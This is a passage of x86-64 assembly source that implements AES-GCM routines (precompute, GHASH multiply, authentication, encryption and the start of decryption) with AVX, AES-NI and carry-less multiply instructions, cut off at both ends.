pxor %xmm3, %xmm4
pxor %xmm5, %xmm2
movdqa %xmm2, %xmm3
movdqa %xmm2, %xmm5
movdqa %xmm2, %xmm15
psllq $(63), %xmm3
psllq $(62), %xmm5
psllq $(57), %xmm15
pxor %xmm5, %xmm3
pxor %xmm15, %xmm3
movdqa %xmm3, %xmm5
pslldq $(8), %xmm5
psrldq $(8), %xmm3
pxor %xmm5, %xmm2
pxor %xmm3, %xmm4
movdqa %xmm2, %xmm5
psrlq $(5), %xmm5
pxor %xmm2, %xmm5
psrlq $(1), %xmm5
pxor %xmm2, %xmm5
psrlq $(1), %xmm5
pxor %xmm5, %xmm2
pxor %xmm4, %xmm2
movdqu %xmm0, (%rdi)
movdqu %xmm1, (16)(%rdi)
movdqu %xmm2, (32)(%rdi)
vzeroupper
ret
.Lfe1:
.size AesGcmPrecompute_avx, .Lfe1-(AesGcmPrecompute_avx)
.p2align 6, 0x90
.globl AesGcmMulGcm_avx
.type AesGcmMulGcm_avx, @function
AesGcmMulGcm_avx:
movdqa (%rdi), %xmm0
pshufb SHUF_CONST(%rip), %xmm0
movdqa (%rsi), %xmm1
pshufd $(78), %xmm0, %xmm4
pshufd $(78), %xmm1, %xmm2
pxor %xmm0, %xmm4
pxor %xmm1, %xmm2
pclmulqdq $(0), %xmm2, %xmm4
movdqa %xmm0, %xmm3
pclmulqdq $(0), %xmm1, %xmm0
pxor %xmm2, %xmm2
pclmulqdq $(17), %xmm1, %xmm3
pxor %xmm0, %xmm4
pxor %xmm3, %xmm4
palignr $(8), %xmm4, %xmm2
pslldq $(8), %xmm4
pxor %xmm2, %xmm3
pxor %xmm4, %xmm0
movdqa %xmm0, %xmm2
movdqa %xmm0, %xmm4
movdqa %xmm0, %xmm15
psllq $(63), %xmm2
psllq $(62), %xmm4
psllq $(57), %xmm15
pxor %xmm4, %xmm2
pxor %xmm15, %xmm2
movdqa %xmm2, %xmm4
pslldq $(8), %xmm4
psrldq $(8), %xmm2
pxor %xmm4, %xmm0
pxor %xmm2, %xmm3
movdqa %xmm0, %xmm4
psrlq $(5), %xmm4
pxor %xmm0, %xmm4
psrlq $(1), %xmm4
pxor %xmm0, %xmm4
psrlq $(1), %xmm4
pxor %xmm4, %xmm0
pxor %xmm3, %xmm0
pshufb SHUF_CONST(%rip), %xmm0
movdqa %xmm0, (%rdi)
vzeroupper
ret
.Lfe2:
.size AesGcmMulGcm_avx, .Lfe2-(AesGcmMulGcm_avx)
.p2align 6, 0x90
.globl AesGcmAuth_avx
.type AesGcmAuth_avx, @function
AesGcmAuth_avx:
movdqa (%rdi), %xmm0
pshufb SHUF_CONST(%rip), %xmm0
movdqa (%rcx), %xmm1
movslq %edx, %rdx
.p2align 6, 0x90
.Lauth_loopgas_3:
movdqu (%rsi), %xmm2
pshufb SHUF_CONST(%rip), %xmm2
add $(16), %rsi
pxor %xmm2, %xmm0
pshufd $(78), %xmm0, %xmm4
pshufd $(78), %xmm1, %xmm2
pxor %xmm0, %xmm4
pxor %xmm1, %xmm2
pclmulqdq $(0), %xmm2, %xmm4
movdqa %xmm0, %xmm3
pclmulqdq $(0), %xmm1, %xmm0
pxor %xmm2, %xmm2
pclmulqdq $(17), %xmm1, %xmm3
pxor %xmm0, %xmm4
pxor %xmm3, %xmm4
palignr $(8), %xmm4, %xmm2
pslldq $(8), %xmm4
pxor %xmm2, %xmm3
pxor %xmm4, %xmm0
movdqa %xmm0, %xmm2
movdqa %xmm0, %xmm4
movdqa %xmm0, %xmm15
psllq $(63), %xmm2
psllq $(62), %xmm4
psllq $(57), %xmm15
pxor %xmm4, %xmm2
pxor %xmm15, %xmm2
movdqa %xmm2, %xmm4
pslldq $(8), %xmm4
psrldq $(8), %xmm2
pxor %xmm4, %xmm0
pxor %xmm2, %xmm3
movdqa %xmm0, %xmm4
psrlq $(5), %xmm4
pxor %xmm0, %xmm4
psrlq $(1), %xmm4
pxor %xmm0, %xmm4
psrlq $(1), %xmm4
pxor %xmm4, %xmm0
pxor %xmm3, %xmm0
sub $(16), %rdx
jnz .Lauth_loopgas_3
pshufb SHUF_CONST(%rip), %xmm0
movdqa %xmm0, (%rdi)
vzeroupper
ret
.Lfe3:
.size AesGcmAuth_avx, .Lfe3-(AesGcmAuth_avx)
.p2align 6, 0x90
.globl AesGcmEnc_avx
.type AesGcmEnc_avx, @function
AesGcmEnc_avx:
push %rbx
sub $(128), %rsp
mov (152)(%rsp), %rax
mov (160)(%rsp), %rbx
mov (144)(%rsp), %rcx
movdqa SHUF_CONST(%rip), %xmm4
movdqu (%rax), %xmm0
movdqu (%rbx), %xmm1
movdqu (%rcx), %xmm2
pshufb %xmm4, %xmm0
movdqa %xmm0, (%rsp)
movdqa %xmm1, (16)(%rsp)
pshufb %xmm4, %xmm2
pxor %xmm1, %xmm1
movdqa %xmm2, (32)(%rsp)
movdqa %xmm1, (48)(%rsp)
movdqa %xmm1, (64)(%rsp)
movdqa %xmm1, (80)(%rsp)
mov (168)(%rsp), %rbx
movdqa (32)(%rbx), %xmm10
pshufd $(78), %xmm10, %xmm9
pxor %xmm10, %xmm9
movdqa %xmm9, (96)(%rsp)
movslq %edx, %rdx
mov %r9, %rcx
mov %rdx, %rax
and $(63), %rax
and $(-64), %rdx
jz .Lsingle_block_procgas_4
.p2align 6, 0x90
.Lblks4_loopgas_4:
movdqa INC_1(%rip), %xmm6
movdqa SHUF_CONST(%rip), %xmm5
movdqa %xmm0, %xmm1
paddd %xmm6, %xmm1
movdqa %xmm1, %xmm2
paddd %xmm6, %xmm2
movdqa %xmm2, %xmm3
paddd %xmm6, %xmm3
movdqa %xmm3, %xmm4
paddd %xmm6, %xmm4
movdqa %xmm4, (%rsp)
movdqa (%rcx), %xmm0
mov %rcx, %r10
pshufb %xmm5, %xmm1
pshufb %xmm5, %xmm2
pshufb %xmm5, %xmm3
pshufb %xmm5, %xmm4
pxor %xmm0, %xmm1
pxor %xmm0, %xmm2
pxor %xmm0, %xmm3
pxor %xmm0, %xmm4
movdqa (16)(%r10), %xmm0
add $(16), %r10
mov %r8d, %r11d
sub $(1), %r11
.p2align 6, 0x90
.Lcipher4_loopgas_4:
aesenc %xmm0, %xmm1
aesenc %xmm0, %xmm2
aesenc %xmm0, %xmm3
aesenc %xmm0, %xmm4
movdqa (16)(%r10), %xmm0
add $(16), %r10
dec %r11
jnz .Lcipher4_loopgas_4
aesenclast %xmm0, %xmm1
aesenclast %xmm0, %xmm2
aesenclast %xmm0, %xmm3
aesenclast %xmm0, %xmm4
movdqa (16)(%rsp), %xmm0
movdqa %xmm4, (16)(%rsp)
movdqu (%rsi), %xmm4
movdqu (16)(%rsi), %xmm5
movdqu (32)(%rsi), %xmm6
movdqu (48)(%rsi), %xmm7
add $(64), %rsi
pxor %xmm4, %xmm0
movdqu %xmm0, (%rdi)
pshufb SHUF_CONST(%rip), %xmm0
pxor (32)(%rsp), %xmm0
pxor %xmm5, %xmm1
movdqu %xmm1, (16)(%rdi)
pshufb SHUF_CONST(%rip), %xmm1
pxor (48)(%rsp), %xmm1
pxor %xmm6, %xmm2
movdqu %xmm2, (32)(%rdi)
pshufb SHUF_CONST(%rip), %xmm2
pxor (64)(%rsp), %xmm2
pxor %xmm7, %xmm3
movdqu %xmm3, (48)(%rdi)
pshufb SHUF_CONST(%rip), %xmm3
pxor (80)(%rsp), %xmm3
add $(64), %rdi
cmp $(64), %rdx
je .Lcombine_hashgas_4
movdqa MASK1(%rip), %xmm14
pshufd $(78), %xmm0, %xmm6
movdqa %xmm0, %xmm5
pxor %xmm0, %xmm6
pclmulqdq $(0), %xmm10, %xmm0
pshufd $(78), %xmm1, %xmm13
movdqa %xmm1, %xmm12
pxor %xmm1, %xmm13
pclmulqdq $(17), %xmm10, %xmm5
pclmulqdq $(0), %xmm9, %xmm6
pxor %xmm0, %xmm6
pxor %xmm5, %xmm6
pshufd $(78), %xmm6, %xmm4
movdqa %xmm4, %xmm6
pand MASK2(%rip), %xmm4
pand %xmm14, %xmm6
pxor %xmm4, %xmm0
pxor %xmm6, %xmm5
movdqa %xmm0, %xmm4
psllq $(1), %xmm0
pclmulqdq $(0), %xmm10, %xmm1
pxor %xmm4, %xmm0
psllq $(5), %xmm0
pxor %xmm4, %xmm0
psllq $(57), %xmm0
pshufd $(78), %xmm0, %xmm6
movdqa %xmm6, %xmm0
pclmulqdq $(17), %xmm10, %xmm12
pand %xmm14, %xmm6
pand MASK2(%rip), %xmm0
pxor %xmm4, %xmm0
pxor %xmm6, %xmm5
movdqa %xmm0, %xmm6
psrlq $(5), %xmm0
pclmulqdq $(0), %xmm9, %xmm13
pxor %xmm6, %xmm0
psrlq $(1), %xmm0
pxor %xmm6, %xmm0
psrlq $(1), %xmm0
pxor %xmm6, %xmm0
pxor %xmm5, %xmm0
pxor %xmm1, %xmm13
pxor %xmm12, %xmm13
pshufd $(78), %xmm13, %xmm11
movdqa %xmm11, %xmm13
pand MASK2(%rip), %xmm11
pand %xmm14, %xmm13
pxor %xmm11, %xmm1
pxor %xmm13, %xmm12
movdqa %xmm1, %xmm11
movdqa %xmm1, %xmm13
movdqa %xmm1, %xmm15
psllq $(63), %xmm11
psllq $(62), %xmm13
psllq $(57), %xmm15
pxor %xmm13, %xmm11
pxor %xmm15, %xmm11
movdqa %xmm11, %xmm13
pslldq $(8), %xmm13
psrldq $(8), %xmm11
pxor %xmm13, %xmm1
pxor %xmm11, %xmm12
movdqa %xmm1, %xmm13
psrlq $(5), %xmm13
pxor %xmm1, %xmm13
psrlq $(1), %xmm13
pxor %xmm1, %xmm13
psrlq $(1), %xmm13
pxor %xmm13, %xmm1
pxor %xmm12, %xmm1
pshufd $(78), %xmm2, %xmm6
movdqa %xmm2, %xmm5
pxor %xmm2, %xmm6
pclmulqdq $(0), %xmm10, %xmm2
pshufd $(78), %xmm3, %xmm13
movdqa %xmm3, %xmm12
pxor %xmm3, %xmm13
pclmulqdq $(17), %xmm10, %xmm5
pclmulqdq $(0), %xmm9, %xmm6
pxor %xmm2, %xmm6
pxor %xmm5, %xmm6
pshufd $(78), %xmm6, %xmm4
movdqa %xmm4, %xmm6
pand MASK2(%rip), %xmm4
pand %xmm14, %xmm6
pxor %xmm4, %xmm2
pxor %xmm6, %xmm5
movdqa %xmm2, %xmm4
psllq $(1), %xmm2
pclmulqdq $(0), %xmm10, %xmm3
pxor %xmm4, %xmm2
psllq $(5), %xmm2
pxor %xmm4, %xmm2
psllq $(57), %xmm2
pshufd $(78), %xmm2, %xmm6
movdqa %xmm6, %xmm2
pclmulqdq $(17), %xmm10, %xmm12
pand %xmm14, %xmm6
pand MASK2(%rip), %xmm2
pxor %xmm4, %xmm2
pxor %xmm6, %xmm5
movdqa %xmm2, %xmm6
psrlq $(5), %xmm2
pclmulqdq $(0), %xmm9, %xmm13
pxor %xmm6, %xmm2
psrlq $(1), %xmm2
pxor %xmm6, %xmm2
psrlq $(1), %xmm2
pxor %xmm6, %xmm2
pxor %xmm5, %xmm2
pxor %xmm3, %xmm13
pxor %xmm12, %xmm13
pshufd $(78), %xmm13, %xmm11
movdqa %xmm11, %xmm13
pand MASK2(%rip), %xmm11
pand %xmm14, %xmm13
pxor %xmm11, %xmm3
pxor %xmm13, %xmm12
movdqa %xmm3, %xmm11
movdqa %xmm3, %xmm13
movdqa %xmm3, %xmm15
psllq $(63), %xmm11
psllq $(62), %xmm13
psllq $(57), %xmm15
pxor %xmm13, %xmm11
pxor %xmm15, %xmm11
movdqa %xmm11, %xmm13
pslldq $(8), %xmm13
psrldq $(8), %xmm11
pxor %xmm13, %xmm3
pxor %xmm11, %xmm12
movdqa %xmm3, %xmm13
psrlq $(5), %xmm13
pxor %xmm3, %xmm13
psrlq $(1), %xmm13
pxor %xmm3, %xmm13
psrlq $(1), %xmm13
pxor %xmm13, %xmm3
pxor %xmm12, %xmm3
movdqa %xmm0, (32)(%rsp)
movdqa %xmm1, (48)(%rsp)
movdqa %xmm2, (64)(%rsp)
movdqa %xmm3, (80)(%rsp)
sub $(64), %rdx
movdqa (%rsp), %xmm0
cmp $(64), %rdx
jge .Lblks4_loopgas_4
.Lcombine_hashgas_4:
movdqa (%rbx), %xmm8
movdqa (16)(%rbx), %xmm9
pshufd $(78), %xmm0, %xmm5
pshufd $(78), %xmm10, %xmm6
pxor %xmm0, %xmm5
pxor %xmm10, %xmm6
pclmulqdq $(0), %xmm6, %xmm5
movdqa %xmm0, %xmm4
pclmulqdq $(0), %xmm10, %xmm0
pxor %xmm6, %xmm6
pclmulqdq $(17), %xmm10, %xmm4
pxor %xmm0, %xmm5
pxor %xmm4, %xmm5
palignr $(8), %xmm5, %xmm6
pslldq $(8), %xmm5
pxor %xmm6, %xmm4
pxor %xmm5, %xmm0
movdqa %xmm0, %xmm6
movdqa %xmm0, %xmm5
movdqa %xmm0, %xmm15
psllq $(63), %xmm6
psllq $(62), %xmm5
psllq $(57), %xmm15
pxor %xmm5, %xmm6
pxor %xmm15, %xmm6
movdqa %xmm6, %xmm5
pslldq $(8), %xmm5
psrldq $(8), %xmm6
pxor %xmm5, %xmm0
pxor %xmm6, %xmm4
movdqa %xmm0, %xmm5
psrlq $(5), %xmm5
pxor %xmm0, %xmm5
psrlq $(1), %xmm5
pxor %xmm0, %xmm5
psrlq $(1), %xmm5
pxor %xmm5, %xmm0
pxor %xmm4, %xmm0
pshufd $(78), %xmm1, %xmm5
pshufd $(78), %xmm9, %xmm6
pxor %xmm1, %xmm5
pxor %xmm9, %xmm6
pclmulqdq $(0), %xmm6, %xmm5
movdqa %xmm1, %xmm4
pclmulqdq $(0), %xmm9, %xmm1
pxor %xmm6, %xmm6
pclmulqdq $(17), %xmm9, %xmm4
pxor %xmm1, %xmm5
pxor %xmm4, %xmm5
palignr $(8), %xmm5, %xmm6
pslldq $(8), %xmm5
pxor %xmm6, %xmm4
pxor %xmm5, %xmm1
movdqa %xmm1, %xmm6
movdqa %xmm1, %xmm5
movdqa %xmm1, %xmm15
psllq $(63), %xmm6
psllq $(62), %xmm5
psllq $(57), %xmm15
pxor %xmm5, %xmm6
pxor %xmm15, %xmm6
movdqa %xmm6, %xmm5
pslldq $(8), %xmm5
psrldq $(8), %xmm6
pxor %xmm5, %xmm1
pxor %xmm6, %xmm4
movdqa %xmm1, %xmm5
psrlq $(5), %xmm5
pxor %xmm1, %xmm5
psrlq $(1), %xmm5
pxor %xmm1, %xmm5
psrlq $(1), %xmm5
pxor %xmm5, %xmm1
pxor %xmm4, %xmm1
pshufd $(78), %xmm2, %xmm5
pshufd $(78), %xmm8, %xmm6
pxor %xmm2, %xmm5
pxor %xmm8, %xmm6
pclmulqdq $(0), %xmm6, %xmm5
movdqa %xmm2, %xmm4
pclmulqdq $(0), %xmm8, %xmm2
pxor %xmm6, %xmm6
pclmulqdq $(17), %xmm8, %xmm4
pxor %xmm2, %xmm5
pxor %xmm4, %xmm5
palignr $(8), %xmm5, %xmm6
pslldq $(8), %xmm5
pxor %xmm6, %xmm4
pxor %xmm5, %xmm2
movdqa %xmm2, %xmm6
movdqa %xmm2, %xmm5
movdqa %xmm2, %xmm15
psllq $(63), %xmm6
psllq $(62), %xmm5
psllq $(57), %xmm15
pxor %xmm5, %xmm6
pxor %xmm15, %xmm6
movdqa %xmm6, %xmm5
pslldq $(8), %xmm5
psrldq $(8), %xmm6
pxor %xmm5, %xmm2
pxor %xmm6, %xmm4
movdqa %xmm2, %xmm5
psrlq $(5), %xmm5
pxor %xmm2, %xmm5
psrlq $(1), %xmm5
pxor %xmm2, %xmm5
psrlq $(1), %xmm5
pxor %xmm5, %xmm2
pxor %xmm4, %xmm2
pxor %xmm1, %xmm3
pxor %xmm2, %xmm3
pshufd $(78), %xmm3, %xmm5
pshufd $(78), %xmm8, %xmm6
pxor %xmm3, %xmm5
pxor %xmm8, %xmm6
pclmulqdq $(0), %xmm6, %xmm5
movdqa %xmm3, %xmm4
pclmulqdq $(0), %xmm8, %xmm3
pxor %xmm6, %xmm6
pclmulqdq $(17), %xmm8, %xmm4
pxor %xmm3, %xmm5
pxor %xmm4, %xmm5
palignr $(8), %xmm5, %xmm6
pslldq $(8), %xmm5
pxor %xmm6, %xmm4
pxor %xmm5, %xmm3
movdqa %xmm3, %xmm6
movdqa %xmm3, %xmm5
movdqa %xmm3, %xmm15
psllq $(63), %xmm6
psllq $(62), %xmm5
psllq $(57), %xmm15
pxor %xmm5, %xmm6
pxor %xmm15, %xmm6
movdqa %xmm6, %xmm5
pslldq $(8), %xmm5
psrldq $(8), %xmm6
pxor %xmm5, %xmm3
pxor %xmm6, %xmm4
movdqa %xmm3, %xmm5
psrlq $(5), %xmm5
pxor %xmm3, %xmm5
psrlq $(1), %xmm5
pxor %xmm3, %xmm5
psrlq $(1), %xmm5
pxor %xmm5, %xmm3
pxor %xmm4, %xmm3
pxor %xmm0, %xmm3
movdqa %xmm3, (32)(%rsp)
.Lsingle_block_procgas_4:
test %rax, %rax
jz .Lquitgas_4
.p2align 6, 0x90
.Lblk_loopgas_4:
movdqa (%rsp), %xmm0
movdqa %xmm0, %xmm1
paddd INC_1(%rip), %xmm1
movdqa %xmm1, (%rsp)
movdqa (%rcx), %xmm0
mov %rcx, %r10
pshufb SHUF_CONST(%rip), %xmm1
pxor %xmm0, %xmm1
movdqa (16)(%r10), %xmm0
add $(16), %r10
mov %r8d, %r11d
sub $(1), %r11
.p2align 6, 0x90
.Lcipher_loopgas_4:
aesenc %xmm0, %xmm1
movdqa (16)(%r10), %xmm0
add $(16), %r10
dec %r11
jnz .Lcipher_loopgas_4
aesenclast %xmm0, %xmm1
movdqa (16)(%rsp), %xmm0
movdqa %xmm1, (16)(%rsp)
movdqu (%rsi), %xmm1
add $(16), %rsi
pxor %xmm1, %xmm0
movdqu %xmm0, (%rdi)
add $(16), %rdi
pshufb SHUF_CONST(%rip), %xmm0
pxor (32)(%rsp), %xmm0
movdqa (%rbx), %xmm1
pshufd $(78), %xmm0, %xmm4
pshufd $(78), %xmm1, %xmm2
pxor %xmm0, %xmm4
pxor %xmm1, %xmm2
pclmulqdq $(0), %xmm2, %xmm4
movdqa %xmm0, %xmm3
pclmulqdq $(0), %xmm1, %xmm0
pxor %xmm2, %xmm2
pclmulqdq $(17), %xmm1, %xmm3
pxor %xmm0, %xmm4
pxor %xmm3, %xmm4
palignr $(8), %xmm4, %xmm2
pslldq $(8), %xmm4
pxor %xmm2, %xmm3
pxor %xmm4, %xmm0
movdqa %xmm0, %xmm2
movdqa %xmm0, %xmm4
movdqa %xmm0, %xmm15
psllq $(63), %xmm2
psllq $(62), %xmm4
psllq $(57), %xmm15
pxor %xmm4, %xmm2
pxor %xmm15, %xmm2
movdqa %xmm2, %xmm4
pslldq $(8), %xmm4
psrldq $(8), %xmm2
pxor %xmm4, %xmm0
pxor %xmm2, %xmm3
movdqa %xmm0, %xmm4
psrlq $(5), %xmm4
pxor %xmm0, %xmm4
psrlq $(1), %xmm4
pxor %xmm0, %xmm4
psrlq $(1), %xmm4
pxor %xmm4, %xmm0
pxor %xmm3, %xmm0
movdqa %xmm0, (32)(%rsp)
sub $(16), %rax
jg .Lblk_loopgas_4
.Lquitgas_4:
movdqa (%rsp), %xmm0
movdqa (16)(%rsp), %xmm1
movdqa (32)(%rsp), %xmm2
mov (152)(%rsp), %rax
mov (160)(%rsp), %rbx
mov (144)(%rsp), %rcx
pshufb SHUF_CONST(%rip), %xmm0
movdqu %xmm0, (%rax)
movdqu %xmm1, (%rbx)
pshufb SHUF_CONST(%rip), %xmm2
movdqu %xmm2, (%rcx)
add $(128), %rsp
vzeroupper
pop %rbx
ret
.Lfe4:
.size AesGcmEnc_avx, .Lfe4-(AesGcmEnc_avx)
.p2align 6, 0x90
.globl AesGcmDec_avx
.type AesGcmDec_avx, @function
AesGcmDec_avx:
push %rbx
sub $(128), %rsp
mov (152)(%rsp), %rax
mov (160)(%rsp), %rbx
mov (144)(%rsp), %rcx
movdqa SHUF_CONST(%rip), %xmm4
movdqu (%rax), %xmm0
movdqu (%rbx), %xmm1
movdqu (%rcx), %xmm2
pshufb %xmm4, %xmm0
movdqa %xmm0, (%rsp)
movdqa %xmm1, (16)(%rsp)
pshufb %xmm4, %xmm2
pxor %xmm1, %xmm1
movdqa %xmm2, (32)(%rsp)
movdqa %xmm1, (48)(%rsp)
movdqa %xmm1, (64)(%rsp)
movdqa %xmm1, (80)(%rsp)
mov (168)(%rsp), %rbx
movdqa (32)(%rbx), %xmm10
pshufd $(78), %xmm10, %xmm9
pxor %xmm10, %xmm9
movdqa %xmm9, (96)(%rsp)
movslq %edx, %rdx
mov %r9, %rcx
mov %rdx, %rax
and $(63), %rax
and $(-64), %rdx
jz .Lsingle_block_procgas_5
.p2align 6, 0x90
.Lblks4_loopgas_5:
movdqa INC_1(%rip), %xmm6
movdqa SHUF_CONST(%rip), %xmm5
movdqa %xmm0, %xmm1
paddd INC_1(%rip), %xmm1
movdqa %xmm1, %xmm2
paddd INC_1(%rip), %xmm2
movdqa %xmm2, %xmm3
paddd INC_1(%rip), %xmm3
movdqa %xmm3, %xmm4
paddd INC_1(%rip), %xmm4
movdqa %xmm4, (%rsp)
movdqa (%rcx), %xmm0
mov %rcx, %r10
pshufb %xmm5, %xmm1
pshufb %xmm5, %xmm2
pshufb %xmm5, %xmm3
pshufb %xmm5, %xmm4
pxor %xmm0, %xmm1
pxor %xmm0, %xmm2
pxor %xmm0, %xmm3
pxor %xmm0, %xmm4
movdqa (16)(%r10), %xmm0
add $(16), %r10
mov %r8d, %r11d
sub $(1), %r11
.p2align 6, 0x90
.Lcipher4_loopgas_5:
aesenc %xmm0, %xmm1
aesenc %xmm0, %xmm2
aesenc %xmm0, %xmm3
aesenc %xmm0, %xmm4
movdqa (16)(%r10), %xmm0
add $(16), %r10
dec %r11
jnz .Lcipher4_loopgas_5
aesenclast %xmm0, %xmm1
aesenclast %xmm0, %xmm2
aesenclast %xmm0, %xmm3
aesenclast %xmm0, %xmm4
movdqa (16)(%rsp), %xmm0
movdqa %xmm4, (16)(%rsp)
movdqu (%rsi), %xmm4
movdqu (16)(%rsi), %xmm5
movdqu (32)(%rsi), %xmm6
movdqu (48)(%rsi), %xmm7
add $(64), %rsi
pxor %xmm4, %xmm0
movdqu %xmm0, (%rdi)
pshufb SHUF_CONST(%rip), %xmm4
pxor (32)(%rsp), %xmm4
pxor %xmm5, %xmm1
movdqu %xmm1, (16)(%rdi)
pshufb SHUF_CONST(%rip), %xmm5
pxor (48)(%rsp), %xmm5
pxor %xmm6, %xmm2
movdqu %xmm2, (32)(%rdi)
pshufb SHUF_CONST(%rip), %xmm6
pxor (64)(%rsp), %xmm6
pxor %xmm7, %xmm3
movdqu %xmm3, (48)(%rdi)
pshufb SHUF_CONST(%rip), %xmm7
pxor (80)(%rsp), %xmm7
add $(64), %rdi
cmp $(64), %rdx
je .Lcombine_hashgas_5
movdqa MASK1(%rip), %xmm14
pshufd $(78), %xmm4, %xmm2
movdqa %xmm4, %xmm1
pxor %xmm4, %xmm2
pclmulqdq $(0), %xmm10, %xmm4
pshufd $(78), %xmm5, %xmm13
movdqa %xmm5, %xmm12
pxor %xmm5, %xmm13
pclmulqdq $(17), %xmm10, %xmm1
pclmulqdq $(0), %xmm9, %xmm2
pxor %xmm4, %xmm2
pxor %xmm1, %xmm2
pshufd $(78), %xmm2, %xmm0
movdqa %xmm0, %xmm2
pand MASK2(%rip), %xmm0
pand %xmm14, %xmm2
pxor %xmm0, %xmm4
pxor %xmm2, %xmm1
movdqa %xmm4, %xmm0
psllq $(1), %xmm4
pclmulqdq $(0), %xmm10, %xmm5
pxor %xmm0, %xmm4
psllq $(5), %xmm4
pxor %xmm0, %xmm4
psllq $(57), %xmm4
pshufd $(78), %xmm4, %xmm2
movdqa %xmm2, %xmm4
pclmulqdq $(17), %xmm10, %xmm12
pand %xmm14, %xmm2
pand MASK2(%rip), %xmm4
pxor %xmm0, %xmm4
pxor %xmm2, %xmm1
movdqa %xmm4, %xmm2
psrlq $(5), %xmm4
pclmulqdq $(0), %xmm9, %xmm13
pxor %xmm2, %xmm4
psrlq $(1), %xmm4
pxor %xmm2, %xmm4
psrlq $(1), %xmm4
pxor %xmm2, %xmm4
pxor %xmm1, %xmm4
pxor %xmm5, %xmm13
pxor %xmm12, %xmm13
pshufd $(78), %xmm13, %xmm11
movdqa %xmm11, %xmm13
pand MASK2(%rip), %xmm11
pand %xmm14, %xmm13
pxor %xmm11, %xmm5
pxor %xmm13, %xmm12
movdqa %xmm5, %xmm11
movdqa %xmm5, %xmm13
movdqa %xmm5, %xmm15
psllq $(63), %xmm11
psllq $(62), %xmm13
psllq $(57), %xmm15
pxor %xmm13, %xmm11
pxor %xmm15, %xmm11
movdqa %xmm11, %xmm13
pslldq $(8), %xmm13
psrldq $(8), %xmm11
pxor %xmm13, %xmm5
pxor %xmm11, %xmm12
movdqa %xmm5, %xmm13
psrlq $(5), %xmm13
pxor %xmm5, %xmm13
psrlq $(1), %xmm13
pxor %xmm5, %xmm13
psrlq $(1), %xmm13
pxor %xmm13, %xmm5
pxor %xmm12, %xmm5
pshufd $(78), %xmm6, %xmm2
movdqa %xmm6, %xmm1
pxor %xmm6, %xmm2
pclmulqdq $(0), %xmm10, %xmm6
pshufd $(78), %xmm7, %xmm13
movdqa %xmm7, %xmm12
pxor %xmm7, %xmm13
pclmulqdq $(17), %xmm10, %xmm1
pclmulqdq $(0), %xmm9, %xmm2
pxor %xmm6, %xmm2
pxor %xmm1, %xmm2
pshufd $(78), %xmm2, %xmm0
movdqa %xmm0, %xmm2
pand MASK2(%rip), %xmm0
pand %xmm14, %xmm2
pxor %xmm0, %xmm6
pxor %xmm2, %xmm1
movdqa %xmm6, %xmm0
psllq $(1), %xmm6
pclmulqdq $(0), %xmm10, %xmm7
pxor %xmm0, %xmm6
psllq $(5), %xmm6
pxor %xmm0, %xmm6
psllq $(57), %xmm6
pshufd $(78), %xmm6, %xmm2
movdqa %xmm2, %xmm6
pclmulqdq $(17), %xmm10, %xmm12
pand %xmm14, %xmm2
pand MASK2(%rip), %xmm6
pxor %xmm0, %xmm6
pxor %xmm2, %xmm1
movdqa %xmm6, %xmm2
psrlq $(5), %xmm6
pclmulqdq $(0), %xmm9, %xmm13
pxor %xmm2, %xmm6
psrlq $(1), %xmm6
pxor %xmm2, %xmm6
psrlq $(1), %xmm6
pxor %xmm2, %xmm6
pxor %xmm1, %xmm6
pxor %xmm7, %xmm13
pxor %xmm12, %xmm13
pshufd $(78), %xmm13, %xmm11
movdqa %xmm11, %xmm13
pand MASK2(%rip), %xmm11
pand %xmm14, %xmm13
pxor %xmm11, %xmm7
pxor %xmm13, %xmm12
movdqa %xmm7, %xmm11
movdqa %xmm7, %xmm13
movdqa %xmm7, %xmm15
psllq $(63), %xmm11
psllq $(62), %xmm13
psllq $(57), %xmm15
pxor %xmm13, %xmm11
pxor %xmm15, %xmm11
movdqa %xmm11, %xmm13
pslldq $(8), %xmm13
psrldq $(8), %xmm11
pxor %xmm13, %xmm7
pxor %xmm11, %xmm12
movdqa %xmm7, %xmm13
psrlq $(5), %xmm13
pxor %xmm7, %xmm13
psrlq $(1), %xmm13
pxor %xmm7, %xmm13
psrlq $(1), %xmm13
pxor %xmm13, %xmm7
pxor %xmm12, %xmm7
movdqa %xmm4, (32)(%rsp)
movdqa %xmm5, (48)(%rsp)
movdqa %xmm6, (64)(%rsp)
movdqa %xmm7, (80)(%rsp)
sub $(64), %rdx
movdqa (%rsp), %xmm0
cmp $(64), %rdx
jge .Lblks4_loopgas_5
.Lcombine_hashgas_5:
movdqa (%rbx), %xmm8
movdqa (16)(%rbx), %xmm9
pshufd $(78), %xmm4, %xmm2
pshufd $(78), %xmm10, %xmm0
pxor %xmm4, %xmm2
pxor %xmm10, %xmm0
pclmulqdq $(0), %xmm0, %xmm2
movdqa %xmm4, %xmm1
pclmulqdq $(0), %xmm10, %xmm4
pxor %xmm0, %xmm0
pclmulqdq $(17), %xmm10, %xmm1
pxor %xmm4, %xmm2
pxor %xmm1, %xmm2
palignr $(8), %xmm2, %xmm0
pslldq $(8), %xmm2
pxor %xmm0, %xmm1
pxor %xmm2, %xmm4
movdqa %xmm4, %xmm0
movdqa %xmm4, %xmm2
movdqa %xmm4, %xmm15
psllq $(63), %xmm0
psllq $(62), %xmm2
psllq $(57), %xmm15
pxor %xmm2, %xmm0
pxor %xmm15, %xmm0
movdqa %xmm0, %xmm2
pslldq $(8), %xmm2
psrldq $(8), %xmm0
pxor %xmm2, %xmm4
pxor %xmm0, %xmm1
movdqa %xmm4, %xmm2
psrlq $(5), %xmm2
pxor %xmm4, %xmm2
psrlq $(1), %xmm2
pxor %xmm4, %xmm2
psrlq $(1), %xmm2
pxor %xmm2, %xmm4
pxor %xmm1, %xmm4
pshufd $(78), %xmm5, %xmm2
pshufd $(78), %xmm9, %xmm0
pxor %xmm5, %xmm2
pxor %xmm9, %xmm0
pclmulqdq $(0), %xmm0, %xmm2
movdqa %xmm5, %xmm1
pclmulqdq $(0), %xmm9, %xmm5
pxor %xmm0, %xmm0
pclmulqdq $(17), %xmm9, %xmm1
pxor %xmm5, %xmm2
pxor %xmm1, %xmm2
palignr $(8), %xmm2, %xmm0
pslldq $(8), %xmm2
pxor %xmm0, %xmm1
pxor %xmm2, %xmm5
movdqa %xmm5, %xmm0
movdqa %xmm5, %xmm2
movdqa %xmm5, %xmm15
psllq $(63), %xmm0
psllq $(62), %xmm2
psllq $(57), %xmm15
pxor %xmm2, %xmm0
pxor %xmm15, %xmm0
movdqa %xmm0, %xmm2
pslldq $(8), %xmm2
psrldq $(8), %xmm0
pxor %xmm2, %xmm5
pxor %xmm0, %xmm1
movdqa %xmm5, %xmm2
psrlq $(5), %xmm2
